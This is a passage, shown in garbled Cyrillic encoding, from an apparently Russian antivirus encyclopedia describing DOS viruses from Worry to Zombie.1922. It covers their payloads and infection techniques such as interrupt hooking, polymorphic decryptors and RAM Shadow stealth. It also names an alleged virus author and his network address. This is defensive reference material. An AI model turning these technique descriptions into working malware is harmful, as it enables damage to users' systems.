Ïîñëå ÷åãî çàïèñûâàåò â àäðåñà âåêòîðîâ INT 1, 3 ñëîâî "SANDWORM". Ïðè
çàïèñè â MBR è Boot-ñåêòîðà äèñêîâ âèðóñû îáíóëÿþò çíà÷åíèå êîëè÷åñòâà
äîðîæåê äàííîãî äèñêà ïî ñìåùåíèþ +1Ah â Boot-ñåêòîðå. Ñîäåðæàò ñòðîêó
"*** THE SANDWORM ***".
Worry.556
3 íîÿáðÿ âûâîäèò òåêñò "Don't worry - be happy!" è "âåøàåò" ñèñòåìó.
Worry.562
1 ÿíâàðÿ â 14.30 âûâîäèò òåêñò "Happy New Year !".
WpcBats.3072
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè íàæàòèè íà êëàâèøó "F1"
âèðóñ âûâîäèò íà ýêðàí òåêñò:
ÜÜÜÜÜ Ü ÜÜÜÜÜ ÜÜÜÜÜ Ü Ü
¦ÛÜÜÜÛ¦Û ¦ÛÜÜÜÛ ÜÜ ¦ÛÜÜÜ ¦ÛÜÜÜÛ
¦ÛÄĬۦÛÜÜÜܦÛÄÄ¬Û ¦ÛÜÜÜܦÛÄĬÛ
ÀÙ ÀÙÀÄÄÄÄÙÀÙ ÀÙ ÀÄÄÄÄÙÀÙ ÀÙ
ÄÄÄÄÄÄ A.R.Jr W P C B A T S ÄÄÄÄÄÄÄ
Òàêæå ìîæåò âûâåñòè íàäïèñü "ALA-EH" â ãðàôè÷åñêîì ðåæèìå ìîíèòîðà.
Wra.512
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Âûâîäèò "Ok" ïîñëå êàæäîãî óäà÷íîãî
çàðàæåíèÿ. Âêëþ÷àåò-âûêëþ÷àåò ëàìïî÷êó "NumLock" êëàâèàòóðû. Ñîäåðæèò
òåêñò:
Don't give up! Have a nice Num! Have a nice Lock
Moon-Lock-Trouble. Copyright (c) 1993 by WRA.
Wreck.92, 462
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Ïåðåõâàòûâàþò INT 13h è çàðàæàþò EXE-
ôàéëû ïðè ÷òåíèè èõ çàãîëîâêà (f.02 Int 13h), çàïèñûâàÿ (f.03 Int 13h)
â çàãîëîâîê äàííîãî EXE-ôàéëà, íå ñîõðàíÿÿ îðèãèíàëüíûå áàéòû, ñâîé
êîä. Wreck.462 - ïîëèìîðôíûé âèðóñ, ïðè ñòàðòå âûâîäèò òåêñò "So here
it is !...". Wreck.92 ñîäåðæèò òåêñò "Wreck%".
Wrong
Î÷åíü îïàñíûé Boot-âèðóñ. Ñîõðàíÿåò îðèãèíàëüíûé Boot-ñåêòîð äèñêåò ïî
àäðåñó ãîëîâêà-1, äîðîæêà-38, ñåêòîð-1, à MBR æåñòêîãî äèñêà â îäíîì èç
ïîñëåäíèõ ñåêòîðîâ äèñêà. Ïðè îáðàùåíèè ê äàííûì ñåêòîðàì íà ÷òåíèå èëè
çàïèñü âûäàåò îøèáêó îïåðàöèè, íå ðàçðåøàÿ äîñòóï ê äàííîìó ñåêòîðó.
WWPE.Rsa
Î÷åíü îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîçäàí ñ ïîìîùüþ
ïîëèìîðôíîãî ãåíåðàòîðà WWPE. Ïðè îáðàùåíèè ê ZIP èëè ARJ - àðõèâàì
âèðóñ äîáàâëÿåò â äàííûå àðõèâû ôàéë c00lBbS.CoM, êîòîðûé ñîäåðæèò
âèðóñíûé êîä. Ïðè çàïóñêå òàêîãî ôàéëà íà ýêðàíå ìîíèòîðà ïîÿâëÿåòñÿ
èçîáðàæåíèå ïëàìåíè. Èíîãäà âèðóñ áëîêèðóåò çàïèñü íà äèñê. Ñîäåðæèò
òåêñòû "Wild W0rker /RSA", "WWPE v0.1".
Wxyc (1,2)
Çàãðóçî÷íûå âèðóñû. Èíîãäà ïðè çàãðóçêå ñèñòåìû âûâîäÿò òåêñò "WXYC
rules this roost!". Ñîäåðæàò òåêñò "JAM WXYC". Ñóùåñòâóåò ìîäèôèêàöèÿ
âèðóñà, êîòîðàÿ âûâîäèò òåêñò "Virus by Vs&W Hackers" è ñîäåðæèò ñòðîêó
"Mad Max!".
X-Mrei.866, 1405
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå (X-Mrei.1405 - ïîëèìîðôíûé) âèðóñû.
Íå çàðàæàþò ôàéëû, ñîäåðæàùèå â ñâîåì èìåíè áóêâîñî÷åòàíèÿ AIWEANIN.
Âûâîäÿò íà ýêðàí ñòðîêó "X-Mrei 7".
XAM.278
Çàðàæàåò EXE-ôàéëû âåñüìà îðèãèíàëüíûì ñïîñîáîì. Âèðóñ âíåäðÿåò ñâîé
êîä â îáëàñòü òàáëèöû ïåðåìåùàåìûõ ñèìâîëîâ (relocation table), èçìåíèâ
òðè áàéòà ñèãíàòóðû EXE-ôàéëà 'MZ' íà JMP NEAR. Íî ñàìîå èíòåðåñíîå
òî, ÷òî âèðóñ èñïîëüçóåò äëÿ çàðàæåíèÿ INT 16h. Ïåðåõâàòûâàÿ äàííîå
ïðåðûâàíèå âèðóñ êîíòðîëèðóåò äèñêîâûå áóôåðû DOS, ïðîñìàòðèâàåò âñþ
öåïî÷êó äèñêîâûõ áóôåðîâ è åñëè îáíàðóæèâàåò â êàêîì-íèáóäü èç íèõ
ïðèçíàêè çàãîëîâêà EXE-ôàéëà, òî âíåäðÿåò ñâîé êîä â çàãîëîâîê EXE,
íàõîäÿùèéñÿ â ýòîì áóôåðå è óñòàíàâëèâàåò ïðèçíàê "çàãðÿçíåííîñòè"
áóôåðà. Ò.å., åñëè äàííûé áóôåð èñïîëüçóåòñÿ äëÿ çàïèñè, DOS çàïèøåò
çàãîëîâîê EXE-ôàéëà âìåñòå ñ âèðóñîì íà äèñê.
XAM.797
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêè "Wait viruses XAM",
"Hi, Dimitriy Nikolaevich!".
XorAA
Î÷åíü îïàñíûé Boot-âèðóñ. Ïîñëå 256 çàãðóçîê ñ æåñòêîãî äèñêà øèôðóåò
17 ñåêòîðîâ 4åõ öèëèíäðîâ íà êàæäîé ãîëîâêå "âèí÷åñòåðà".
Xtac.1564
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïîñëå 24 ÷èñëà êàæäîãî ìåñÿöà óäàëÿåò ôàéëû,
ðàñøèðåíèå êîòîðûõ îòëè÷àåòñÿ îò ðàñøèðåíèé, óêàçàííûõ â ñëåäóþùåé
òåêñòîâîé ñòðîêå "COMEXESYSBATOBJOVROVLINICFGTPUHLPTPLBGICHR". Ñîäåðæèò
òåêñò "good news! you have justbeen smitten by XTAC - lyndon siao,
usc-tc"
Xuxa.1096, 1656
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Óäàëÿþò ôàéëû CHKLIST.MS,
ANTI-VIR.DAT, CHKLIST.CPS. Â àâãóñòå Xuxa.1096 âûâîäèò òåêñò:
Si no viste el Show de Xuxa por T.V, ni en vivo... '
ahora podes verlo en tu PC!. - XOU DA XUXA 1.2 '
By Leviathan.$'
Xuxa.1656 6 ìàðòà ñ 9.00 äî 11.00 âûâîäèò íà ýêðàí òåêñò:
Xuxa Park 1.0 þ By Hades
"Y luchemos para que todos los niäos delmundo tengan derecho a soäar,
a soäar por igual"
Ñîäåðæàò òåêñòîâóþ ñòðîêó "TBSCASOLTOOCPF-CHKIBM".
Xyz.1561
Íåîïàñíûé ðåçèäåíòíûé, ïûòàþùèéñÿ áûòü íåâèäèìûì, âèðóñ. Â ïÿòíèöó
ìîæåò âûâåñòè ñëîâî èç 3 áóêâ, êîåå î÷åíü óìíûå ëþäè ïðèâûêëè ïèñàòü íà
çàáîðàõ.
YADEKA.Demo
Îïàñíûé ðåçèäåíòíûé âèðóñ. Èç-çà îøèáêè ðàçðóøàåò îêîëî ïîëîâèíû âñåõ
çàðàæàåìûõ ôàéëîâ. Âûâîäèò òåêñò "This file infected with [yet another
data encryption kernel advance] demo virii". Òàêæå ñîäåðæèò òåêñò "[yet
another data encryption kernel advance] v1.00".
Yale (1-3)
Îïàñíûå çàãðóçî÷íûå âèðóñû. "Ïåðåõâàòûâàþò" INT 9 è ïðè íàæàòèè íà
Ctrl-Alt-Del çàðàæàþò çàãðóçî÷íûé ñåêòîð äèñêà A:,ñîõðàíÿÿ îðèãèíàëüíûé
ñåêòîð ïî àäðåñó 0-39-9, îòôîðìàòèðîâàâ ïðåäâàðèòåëüíî 39 öèëèíäð.
Yankee.2561
Íåîïàñíûé ðåçèäåíòíûé âèðóñ - ïëàãèàò âèðóñîâ ñåìåéñòâà Doodle. Ïî 20
÷èñëàì "òðÿñåò" ýêðàí. Ñîäåðæèò çàøèôðîâàííûé òåêñò "(C) by M.E.S. from
MSU. Moscow 1993. Version 1.00 ( Demo ).Wait new viruses soon. See Ya!"
Yard.448, 590
Îïàñíûå ðåçèäåíòíûå âèðóñû. Óíè÷òîæàþò *.BAK-ôàéëû. Ñîäåðæàò ñòðîêó
"Yard-keeper".
Yeke.1204, 1706, 2425
Íåîïàñíûå (Yeke.2425 - î÷åíü îïàñíûé) ðåçèäåíòíûå çàøèôðîâàííûå âèðóñû.
Yeke.2425 ìîæåò óíè÷òîæèòü ñîäåðæèìîå CMOS-ïàìÿòè è ñåêòîðîâ äèñêîâ.
Ïðîèãðûâàþò ìåëîäèþ è âûâîäÿò òåêñòû:
Yeke.1204, 1706:
Be Careful. YEKE Controls Your Computer.
Yeke.2425:
TERMINATOR 2
lives...
The Judgement Day has come!
Your system has been terminated.
Yeke.2425 çàïèñûâàåò â ñåêòîðà äèñêåò ïðîãðàììíûé êîä, êîòîðûé âûâîäèò
íà ýêðàí òåêñò "This system has been terminated.".
Yerg.120, 126
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Èìåþò ñòðîêó "Yerg?".
Yom.529
Ìîæåò èçìåíèòü ñèñòåìíóþ äàòó è âûâåñòè ñîîáùåíèå "yesterday once
more".
Zabootovka (1-3)
Ñîäåðæàò òåêñò "ÇàBOOTîâêà".
Zappa
Îïàñíûé çàãðóçî÷íûé âèðóñ. 4 äåêàáðÿ âûâîäèò òåêñò "Dedicated to
ZAPPA..." è óíè÷òîæàåò ñåêòîðà ïåðâîãî æåñòêîãî äèñêà.
Zarin.669
Îïàñíûé íåðåçèäåíòíûé âèðóñ. 11 è 23 ÷èñëà çàïèñûâàåò â boot-ñåêòîð
äèñêà C: òðîÿíñêóþ ïðîãðàììó, ôîðìàòèðóþùóþ 3 ðàçà ðàçíûìè ñïîñîáàìè
ïåðâóþ äîðîæêó äèñêà C:. Ïîñëå çàïèñè "òðîÿíöà" âèðóñ âûâîäèò òåêñò:
"Andy Said:Zarin`iS dangerous!".
ZeroBug.1536
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà çàïóñêàåò ðîæèöó (ASCII 1), êîòîðàÿ
äâèãàåòñÿ íà ýêðàíå è ñòèðàåò âñå ñèìâîëû '0'.
Zhengxi.7271, 7307, 7313
Íåîïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå ñòåëñ-âèðóñû. Èíôèöèðîâàííûå ôàéëû
ñîäåðæàò äâà "äëèííûõ" ïîëèìîðôíûõ ðàñøèôðîâùèêà. Ïåðâûé äåêðèïòîð
ðàñøèôðîâûâàåò îñíîâíîå òåëî âèðóñà è âòîðîé äåêðèïòîð, ïîñëå ÷åãî
îòäàåò óïðàâëåíèå âòîðîìó äåêðèïòîðó, êîòîðûé ïðîäîëæàåò ðàñøèôðîâûâàòü
îñíîâíîé âèðóñíûé êîä. Ðàñøèôðîâêà ïðîèçâîäèòñÿ íå ïîñëåäîâàòåëüíî áàéò
çà áàéòîì èëè ñëîâî çà ñëîâîì, à ïðîèçâîëüíûìè "ïðûæêàìè" ïî âñåìó òåëó
âèðóñà. Ïðè ïîëó÷åíèè óïðàâëåíèÿ îñíîâíîé âèðóñíûé êîä ïåðåõâàòûâàåò
INT 01 è òðàññèðóåò îðèãèíàëüíûé îáðàáîò÷èê INT 21h. Äàííàÿ òðàññèðîâêà
ïðîèçâîäèòñÿ äëÿ ïîèñêà îïðåäåëåííîé ïîñëåäîâàòåëüíîñòè áàéò,
ïðèñóòñòâóþùèõ, êàê ïðàâèëî, âî âñåõ âåðñèÿõ DOS. Ïðè íàõîæäåíèè äàííîé
ïîñëåäîâàòåëüíîñòè áàéò âèðóñ âíåäðÿåò â îðèãèíàëüíûé îáðàáîò÷èê INT
21h êîñâåííûé ìåæñåãìåíòíûé CALL íà "äëèííûé" ïðÿìîé JUMP, íàõîäÿùèéñÿ
òàêæå â îðèãèíàëüíîì îáðàáîò÷èêå. Äàííûé JUMP óêàçûâàåò íà âèðóñíûé
îáðàáîò÷èê INT 21h.  äàëüíåéøåì ðåçèäåíòíàÿ êîïèÿ ìîæåò "ïåðåìåùàòüñÿ"
ïî ðàçëè÷íûì ñåãìåíòàì ïàìÿòè, â òîì ÷èñëå, è â îáëàñòè UMB. Ïîñëå
ïåðåõâàòà INT 21h âèðóñ ñòðîèò äâà ïîëèìîðôíûõ ðàñøèôðîâùèêà äëÿ
âîññòàíîâëåíèÿ èñõîäíûõ 22 áàéò çàãîëîâêà èíôèöèðîâàííîãî EXE-ôàéëà.
Ïðè çàðàæåíèè ôàéëà âèðóñ øèôðóåò äàííûå áàéòû ñ ïîìîùüþ ïîëèìîðôíûõ
ìåõàíèçìîâ, îñíîâàííûõ íà íåêîòîðûõ ñëó÷àéíûõ ñòàðòîâûõ çíà÷åíèÿõ. Ïðè
âîññòàíîâëåíèè äàííûõ áàéòîâ âèðóñ òàêæå èñïîëüçóåò äàííûå ïîëèìîðôíûå
ìåõàíèçìû. Äëÿ ôàéëîâ, èíôèöèðîâàííûõ îïèñàííûì âûøå ìåòîäîì, àêòèâíûé
ðåçèäåíòíûé âèðóñ èñïîëüçóåò ñòåëñ-àëãîðèòìû. Íî òàêæå âèðóñ èñïîëüçóåò
åùå îäèí âàðèàíò çàðàæåíèÿ EXE-ôàéëîâ, äëèíà êîòîðûõ áîëüøå 32K. Ïðè
çàðàæåíèè òàêèõ ôàéëîâ âèðóñ ñ÷èòûâàåò 6144 áàéò, ñëåäóþùèõ ñðàçó çà
EXE-çàãîëîâêîì è ïûòàåòñÿ íàéòè ïîñëåäîâàòåëüíîñòü áàéò, îáû÷íî
èñïîëüçóåìûõ â ïðîöåäóðàõ, íàïèñàííûõ íà ÿçûêàõ âûñîêîãî óðîâíÿ. Åñëè
äàííûå áàéòû íàéäåíû, òî âèðóñ ïðîèçâîäèò íåêîòîðûå äîïîëíèòåëüíûå
ïðîâåðêè è âíåäðÿåò âìåñòî áàéò ïðîöåäóðû 84 áàéòà ñîáñòâåííîãî êîäà,
ñîõðàíèâ ïðåäâàðèòåëüíî îðèãèíàëüíûé ïðîãðàììíûé êîä, øèôðóåò
ïîëèìîðôíûì ìåòîäîì îñíîâíîé âèðóñíûé êîä, êîòîðûé çàïèñûâàåò â êîíåö
ôàéëà-æåðòâû. Âíåäðåííûé â ñåðåäèíó ïðîãðàììû êîä èç 84 áàéò, ïðè
ïîëó÷åíèè óïðàâëåíèÿ, îïðåäåëÿåò èìÿ ñòàðòîâàâøåé ïðîãðàììû,
óñòàíàâëèâàåò óêàçàòåëü íà ñìåùåíèå âèðóñíîãî òåëà â ôàéëå, ñ÷èòûâàåò
èç íåãî 112 áàéò êîäà â îáëàñòü ïðîãðàììíîãî ñòåêà, ðàñøèôðîâûâàåò åãî
è ïåðåäàåò åìó óïðàâëåíèå. Äàííûé 122-áàéòíûé êîä ñ÷èòûâàåò èç ôàéëà
èñõîäíûå 84 áàéòà ïðîãðàììíîé ïðîöåäóðû â èõ "çàêîííîå" ìåñòî è òàêæå
ðàñøèôðîâûâàåò èõ. Çàòåì âèðóñ ïûòàåòñÿ ïîëó÷èòü ñâîáîäíûé áëîê ïàìÿòè,
(âîçìîæíî â îáëàñòè UMB) è ÷èòàåò èç èíôèöèðîâàííîãî ôàéëà â ýòîò áëîê
ïàìÿòè ïîëèìîðôíîçàøèôðîâàííûé îñíîâíîé âèðóñíûé êîä è ïåðåäàåò åìó
óïðàâëåíèå. Ïîñëå ñîáñòâåííîé ðàñøèôðîâêè âèðóñ ïåðåõâàòûâàåò INT 21h,
îïèñàííûì âûøå ñïîñîáîì è âîçâðàùàåò óïðàâëåíèå ïðîãðàììå-
âèðóñîíîñèòåëþ. Ò.î., âèðóñ èç òàêîé èíôèöèðîâàííîé ïðîãðàììû ìîæåò
"âûïðûãíóòü", ìîæåò "íå âûïðûãíóòü" èëè "âûïðûãíóòü" ïðè îïðåäåëåííûõ
óñëîâèÿõ, íàïðèìåð, ïðè çàäàíèè îïðåäåëåííîãî êëþ÷à â êîìàíäíîé ñòðîêå.
Äëÿ òàêèõ èíôèöèðîâàííûõ ôàéëîâ ñòåëñ-àëãîðèòì âèðóñà íå ðàáîòàåò.
Ò.ê., äëÿ ôàéëîâ èíôèöèðîâàííûõ ïåðâûì ñïîñîáîì, âèðóñ "âêëþ÷àåò"
ñòåëñ-ìåõàíèçì, òî, íàïðèìåð, ïðè àðõèâèðîâàíèè çàðàæåííûõ EXE-ôàéëîâ â
àðõèâíûõ ôàéëàõ îêàæóòñÿ óæå "çäîðîâûå" ôàéëû. Íî àâòîð âèðóñà
ïðåäóñìîòðåë è ýòîò âàðèàíò. Ïðè çàïóñêå íåêîòîðûõ àðõèâàòîðîâ (ARJ,
ZIP,..) äëÿ àðõèâàöèè ôàéëîâ âèðóñ ñîçäàåò ôàéë ñî ñëó÷àéíûì èìåíåì îò
2 äî 5 áóêâ è ðàñøèðåíèåì COM, è çàïèñûâàåò â íåãî ñâîþ ïîëèìîðôíóþ
êîïèþ.  ðåçóëüòàòå àðõèâíûé ôàéë, íàðÿäó ñ "èçëå÷åííûìè" EXE-ôàéëàìè
áóäåò ñîäåðæàòü è COM-ôàéë ñ òåëîì âèðóñà. Ïðè çàïóñêå òàêîãî ôàéëà
áóäåò âûâåäåíî ñîîáùåíèå "Abnormal program termination".Âèðóñû ñîäåðæàò
òåêñò:
The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd
Warning! This program for internal use only!
Äëÿ ïîñòðàäàâøèõ îò äàííîãî âèðóñà ïðèâîæó èìÿ èõ ñîçäàòåëÿ:
Äåíèñ Ïåòðîâ 2:5030/287.14.
Zherkov.1922, 2435, 2968, 2970
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Zherkov.2345 íà êîìïüþòåðàõ ñ ïðîöåññîðîì
386 è âûøå ïûòàåòñÿ áëîêèðîâàòü îòëàäêó. Zherkov.2968,2970 ïåðèîäè÷åñêè
âûâîäÿò íà ýêðàí òåêñò:
ÜÜÜÜÜÜÜÜ ÜÜÜ ÜÜÜ ÜÜÜ ÜÜÜ
ÛÛÛ ÛÛÛ ÛÛÛ ÜÜÜÜ ÛÛÛ ÜÜÜÜÜÜÜÜÜÛÛÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛÛÛÜÜ
ÛÛÛ ÛÛÛ ÜÜÜ ÜÜÜÜÜÛÛÛ ÜÜÜÜÜÜÜÜ ÛÛÛ ÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜ ÛÛÛ
ÛÛÛÜÜÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ßßß ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ßßß ÛÛÛ
ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ßßßßßÛÛÛ ÛÛÛ ÛÛÛÜÜÛÛÛ ßßßßßÛÛÛ ÛÛÛ
ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÜÜÜ ÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÜÜÛÛÛ ÛÛÛÜÜÛÛÛ ÛÛÛ ÛÛÛÜÜÛÛÛ ÛÛÛÜÜÛÛÛ ÛÛÛ
ÛÛÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ÛÛßßßßßßßßß
ÛÛÛ ÛÛÛßÛÛÛ ÛÛÛßÛÛÛ ÛÛÛßßßß ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛ ÛÛÛßÛÛÛ
ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛßÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ Û ÛÛÛ ÛÛÛßÛÛÛ ÛÛÛÜÛÛÛ
ÛÛÛ ÛÛÛÜÛÛÛ ÛÛÛÜÛÛÛ ÛÛÛÜÛÛÛ ÛÛÛÜÛÛÛ ÛÛÛÜÛÜÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
ÜÜÜÜÜÜÜÜÜÜÜ ÛÛÛ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛÛÛ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
ZhugeLiang.4784, 5976
Íåîïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. ZhugeLiang.4784 10 èþíÿ
ïåðèîäè÷åñêè èçäàåò "ìóçûêàëüíûå" çâóêè. Íå çàðàæàþò ôàéëû: COMMAND,
IBM, TB, EMM386, SETVER, MSCDEX, CHKDSK, SCANDISK, XCOPY, BACKUP,
MSBACKUP, PKZIP, ARJ, LHA, RAR, TELIX, COMMO. Ñîäåðæàò òåêñòû:
ZhugeLiang.4784:
ZhugeLiang v1.0b Written by Zhuge Jin on May 1., 1995 .
Made in Taiwan. Today is my Birthday 64/05/01 ! Oh! Yeah!
ZhugeLiang.5976:
ZhugeLiang v2.0 by Zhuge Jin in Taipei, 1995.
Zipper.2779 (1-3)
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðâûì äåëîì ïûòàåòñÿ çàðàçèòü ôàéëû
\COMMAND.COM, \DOS\FORMAT.COM. Âíóòðè ñåáÿ ñîäåðæèò ZIP-àðõèâ ñ ôàéëîì
ZIPPER.ASM. Ïðè òðàíñëÿöèè äàííîãî èñõîäíîãî òåêñòà (ZIPPER.ASM)
ïîëó÷àåòñÿ íåîïàñíûé ðåçèäåíòíûé âèðóñ Zipper.303. Zipper.2779 ñîäåðæèò
òåêñò ">>*>> Use PKUNZIP *.EXE immediately! <<*<<".
Zmiana.1024 (1,2), 1224, 1383
Ðåçèäåíòíûå øèôðîâàííûå âèðóñû.Zmiana.1024(1) â ïÿòíèöó 13 ÷èñëà ïîðòèò
ïîñëåäíèé áàéò MBR æåñòêîãî äèñêà, â ðåçóëüòàòå ÷åãî ñèñòåìà ïåðåñòàíåò
çàãðóæàòüñÿ ñ "âèí÷åñòåðà" è óñòàíàâëèâàåò ñèñòåìíóþ äàòó íà 25 äåêàáðÿ
1994 ãîäà. Zmiana.1224 èíîãäà âûâîäèò ñîîáùåíèå:
Info: zmiana rozmiaru programu !
Znosko.509, 1311, 1372, 1380, 1418, 1730
Äàííûå âèðóñû íàçâàíû òàê ïî òîé ïðè÷èíå, ÷òî âî âñåõ èñõîäíûõ òåêñòàõ,
êîíôèñêîâàííûõ áäèòåëüíîé îáùåñòâåííîñòüþ ó àâòîðà äàííûõ âèðóñîâ,
ñîäåðæàòñÿ ñëåäóþùèå òåêñòû:
;*************** virus 'Zarina Tamara'***************
;******* created by dima znosko ******
Î÷åíü îïàñíûå íåðåçèäåíòíûå (Znosko.1730 - øèôðîâàííûé) âèðóñû.Çàðàæàþò
COM (Znosko.1730 òàêæå EXE) ôàéëû íà âñåõ äèñêàõ âî âñåõ äîñòóïíûõ
êàòàëîãàõ çà îäèí ïðîõîä. Ïðè çàðàæåíèè ôàéëîâ èñïîëüçóþò ôàéëîâûå
ôóíêöèè FCB INT 21h. Znosko.1372, 1380 ïîñëå 19 ÷èñëà ìåñÿöà ðàçðóøàþò
âñå ôàéëû íà äèñêàõ. Znosko.1311, 1418 ïîñëå 11 ÷èñëà ìåñÿöà
ïåðåèìåíîâûâàþò âñå íàéäåííûå ôàéëû â ôàéëû ñ èìåíàìè òèïà AAAAAAAA,
BAAAAAAA, BBAAAAAA,... Znosko.1372, 1380, 1418 ñîäåðæàò òåêñò "Find
FizFuck". Ýòè âèðóñû îñòàâëÿþò ìåòêó ñâîåãî ïðåáûâàíèÿ íà äèñêàõ â âèäå
ôàéëîâ IMAGE.IDX èëè WSURC.DMA â êîðíåâîì êàòàëîãå.Ïðè íàõîæäåíèè òàêèõ
ôàéëîâ íà äèñêå âèðóñû ïîâòîðíûå ïîïûòêè çàðàæåíèÿ òàêîãî äèñêà
ïðèíèìàþò çíà÷èòåëüíî ðåæå. Znosko.1730 ïûòàåòñÿ íàéòè ôàéë
C:\WIN95\WRIVDR.CNF, è åñëè íàõîäèò åãî, òî ñ÷èòûâàåò 2000 áàéò ýòîãî
ôàéëà â ïàìÿòü è îòäàåò åìó óïðàâëåíèå ïî ñìåùåíèþ 0. Znosko.1730
ïûòàåòñÿ óíè÷òîæèòü ôàéëû *.CPP, *.BAK è *.C, çàïèñûâàÿ â íèõ òåêñò
"Ñpî÷íî îápàòèòåñü ê àäìèíèñòàòîó ñåòè.". Znosko.509 âûâîäèò íà ýêðàí
òåêñò "Zarina Tamara".
Zombie.1922
Îïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. ßâëÿåòñÿ "ïðîäóêòîì
æèçíåäåÿòåëüíîñòè" âèðóñà Win95.Zombie. Íî â äàëüíåéøåì ìîæåò "æèòü
ñîáñòâåííîé ïîëíîöåííîé æèçíüþ". Win95.Zombie ñîçäàåò ôàéëû ZSetUP.EXE
â êîðíåâûõ êàòàëîãàõ èíôèöèðóåìûõ äèñêîâ. Ïðè çàïóñêå òàêîãî ôàéëà
ZSetUP.EXE âèðóñíûé êîä ïîëó÷àåò óïðàâëåíèå è ïûòàåòñÿ âûÿñíèòü ñìîæåò
ëè îí (âèðóñ) îòêðûòü íà çàïèñü RAM Shadow. Äàëåå ïðîèçâîäèòñÿ ïîïûòêà
íàéòè áëîê ñâîáîäíîé ïàìÿòè (íóëåâûõ áàéò) äëèíîé 2122 áàéòà â ñåãìåíòå
0C000h. Åñëè åìó ýòî íå óäàåòñÿ, òî âèðóñ âûÿñíÿåò àäðåñ ðàñïîëîæåíèÿ
ñèñòåìíîãî ôîíòà ðàçìåðîì 8x14. Åñëè äàííûé ôîíò íàõîäèòñÿ â ñåãìåíòå
0C000h, à òàêæå åñëè àäðåñ îðèãèíàëüíîãî îáðàáîò÷èêà INT 13h íàõîäèòñÿ
â ñåãìåíòå 0F000h, òî âèðóñ îòêðûâàåò RAM Shadow íà çàïèñü è çàïèñûâàåò
ñâîé êîä â îáëàñòü íóëåâûõ áàéò èëè â îáëàñòü ñèñòåìíîãî ôîíòà 8x14.
Çàòåì âèðóñ ìîäèôèöèðóåò îðèãèíàëüíûé îáðàáîò÷èê INT 13h, âíåäðÿÿ â
íåãî êîìàíäó ïåðåäà÷è óïðàâëåíèÿ íà ñîáñòâåííóþ ïðîöåäóðó. Ïîñëå ýòîãî
RAM Shadow "çàêðûâàåòñÿ" - çàïèñü â íåå ñòàíîâèòñÿ íåâîçìîæíîé. Ïðè
÷òåíèè ñåêòîðà (f.2 Int 13h) ñ íà÷àëüíîé ñèãíàòóðîé "MZ", âèðóñ
"ïåðåõâàòûâàåò" INT 21h, îáðàáîò÷èê êîòîðîãî çàðàæàåò â äàëüíåéøåì âñå
çàïóñêàåìûå èëè îòêðûâàåìûå íà ÷òåíèå èëè çàïèñü EXE-ôàéëû. Ïðè ÷òåíèè
ñåêòîðîâ, ñîäåðæàùèõ ýëåìåíòû êàòàëîãîâ èëè ôàéëîâ, âèðóñ ïðîèçâîäèò
ïîèñê ïîñëåäîâàòåëüíîñòè áàéò: ADINF, AIDS, AVP, WEB, DRWEB, °°°, CPP,
C, S-ICE, TD, DEBUG, WEB70801, CA.  ñëó÷àå íàõîæäåíèÿ òàêîâûõ âèðóñ
óñòàíàâëèâàåò â ïðî÷èòàííîì ñåêòîðå äëÿ íàéäåííîãî ýëåìåíòà ïåðâûé áàéò
0E5h - ïðèçíàê óäàëåííîãî ôàéëà è "çàáèâàåò" äàëüíåéøåå èìÿ íóëÿìè.
Òàêèì îáðàçîì, ïðè àêòèâíîì âèðóñå îïåðàöèîííàÿ ñèñòåìà íå áóäåò äàæå
ïîäîçðåâàòü î íàëè÷èè äàííûõ ôàéëîâ íà äèñêå. Âèðóñíûå îáðàáîò÷èêè INT
13h è INT 21h ïðè ïîëó÷åíèè óïðàâëåíèÿ "îòêðûâàþò" RAM Shadow,
ïðîèçâîäÿò ñâîè äåéñòâèÿ è îáðàòíî "çàêðûâàþò" RAM Shadow. Áåç
ñîîòâåòñòâóþùèõ ìàíèïóëÿöèé ñ òåíåâîé ïàìÿòüþ óäàëèòü èëè îáåçâðåäèòü
âèðóñíûé êîä â ïàìÿòè íå ïðåäîñòàâëÿåòñÿ âîçìîæíûì. Ïðè îáíàðóæåíèè
äàííîãî âèðóñà â ïàìÿòè ñëåäóåò ïðîèçâåñòè ëå÷åíèå ñèñòåìû,
çàãðóçèâøèñü ñ äèñêà, ñ "÷èñòîé" îïåðàöèîííîé ñèñòåìîé. Ñëåäóåò
îòìåòèòü, ÷òî âèðóñó Zombie.1922, âèäèìî, óäàñòñÿ îòêðûòü RAM Shadow íà
